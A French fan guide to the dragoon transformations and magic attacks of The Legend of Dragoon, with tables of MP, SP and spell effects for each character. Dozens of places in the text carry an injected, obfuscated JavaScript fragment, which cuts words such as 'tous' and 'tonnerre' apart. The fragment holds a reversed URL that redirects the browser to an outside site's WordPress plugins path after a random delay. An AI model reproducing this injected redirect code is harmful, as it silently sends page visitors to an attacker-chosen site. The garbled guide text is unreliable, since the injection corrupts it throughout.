A un certain moment du jeu, vous pourrez vous transformer en dragoon. Chaque personnage pourra se transformer en dragoon, lorsque ils auront trouvé une âme dragoon, et lorsqu’ils auront assez de SP (Spirits Points).
Les SP sont obtenu lors des combats, où chaque attaque vous en rapporte selon les combos, (voir combos), ou grâce a certains objets spéciaux. au bout de 100 SP, vous pourrez vous transformer en dragoon, et utiliser une attaque physique, ou une attaque élémentaire (selon le dragoon). aprés votre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour vous perdrais 100 SP redevenant ainsi humain lorsque vous en n’aurais plus.
Les dragoons possédant également des niveau, et chaque niveau vous permet d’augmenter, votre niveau maximum de SP. vous bénéficierais aussi de nouvelle attaque magique.
Les Niveaux Dragoons vont de 1 à 5. Aussi lorsque votre personnage se transforme en dragoon, il est autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatiquement guéri de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les effets néfastes et est immunisé contre ces mêmes attaques.
Niveau dragoon | Nombre de MP | Nombre de SP |
1 | 20 | 100 |
2 | 40 | 1200 |
3 | 60 | 6000 |
4 | 80 | 12000 |
5 | 100 | 20000 |
Les attaques magiques
Darts (feu)
Nom de l’attaque | MP consommé | Apprentissage | effets |
Lance feu | 10 | Dragoon nv1 | 50% de dommage sur un ennemi. |
Explosion | 20 | dragoon nv2 | 20% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Explosion finale | 30 | dragoon nv3 | 75% de dommage sur un ennemi. |
Dragon sand | 80 | Dragoon nv5 | 175% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Boule dragoon divin | 50 | CD4 | 50% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Cannon dragoon divin | 50 | CD4 | 100% de dommage sur un ennemi. |
Lavitz (vent)
Nom de l’attaque | MP consommé | Apprentissage | effets |
Aile explosive | 10 | Dragoon nv1 | 25% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis |
Tempête de roses | 20 | Dragoon nv2 | Résistance aux attaques ennemis + 50% pendant trois toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours. |
Dérnier souffle | 30 | Dragoon nv3 | 100% de dommage sur un ennemi. |
Dragon de jade | 80 | Dragoon nv5 | 75% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Shana (lumière)
Nom de l’attaque | MP consommé | Apprentissage | effets |
Eclair lunaire | 10 | Dragoon nv1 | Soigne et restaure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les HP d’un membre de l’équipe ou ranime un personnage mort avec 50% de ses HP. |
Enfant stellaire | 20 | Dragoon nv2 | 25% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Porte paradis | 30 | Dragoon nv3 | Soigne et restaure les HP de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les membres de l’équipe. |
Dragon blanc | 80 | Dragoon nv5 | 100% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Rose (ténèbre)
Nom de l’attaque | MP consommé | Apprentissage | effets |
Absorption astrale | 10 | dragoon nv1 | 25% de dommage sur un ennemi. Les dommages sont transformés en HP et répartis sur les différents personnages vivants de l’équipe. |
Dimension mort | 20 | Dragoon nv2 | 25% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis, effets néfaste “peur”. |
Porte demon | 30 | Dragoon nv3 | Attaque mortelle sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Dragon noir | 80 | Dragoon nv5 | 100% de dommage sur un ennemi. |
Nom de l’attaque | MP consommé | Apprentissage | effets |
Bague givrante | 10 | Dragoon nv1 | 50% de dommage sur un ennemi. |
Souffle irise | 20 | Dragoon nv2 | Soigne et restaure les HP de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les membres de l’équipe. |
Poudre diamant | 30 | Dragoon nv3 | 50% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Dragon bleu | 80 | dragoon nv5 | 100% de dommage sur un ennemi. |
Kongol (terre)
Nom de l’attaque | MP consommé | Apprentissage | effets |
Déluge | 10 | Dragoon nv1 | 25% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Météorite | 20 | Dragoon nv3 | 50% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Dragon d’or | 80 | Dragoon nv5 | 75% de dommage sur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis. |
Haschel (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre)
Nom de l’attaque | MP consommé | Apprentissage | effet |
Ame atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomique | 10 | Dragoon nv1 | 50% de dommage sur un ennemi. |
Môme toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre | 20 | dragoon nv2 | 65% de dommage sur un ennemi. |
Dieu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre | 30 | Dragoon nv3 | 75% de dommage sur un ennemi. |
Dragon violet | 80 | Dragoon nv5 | 100% de dommage sur un ennemi. |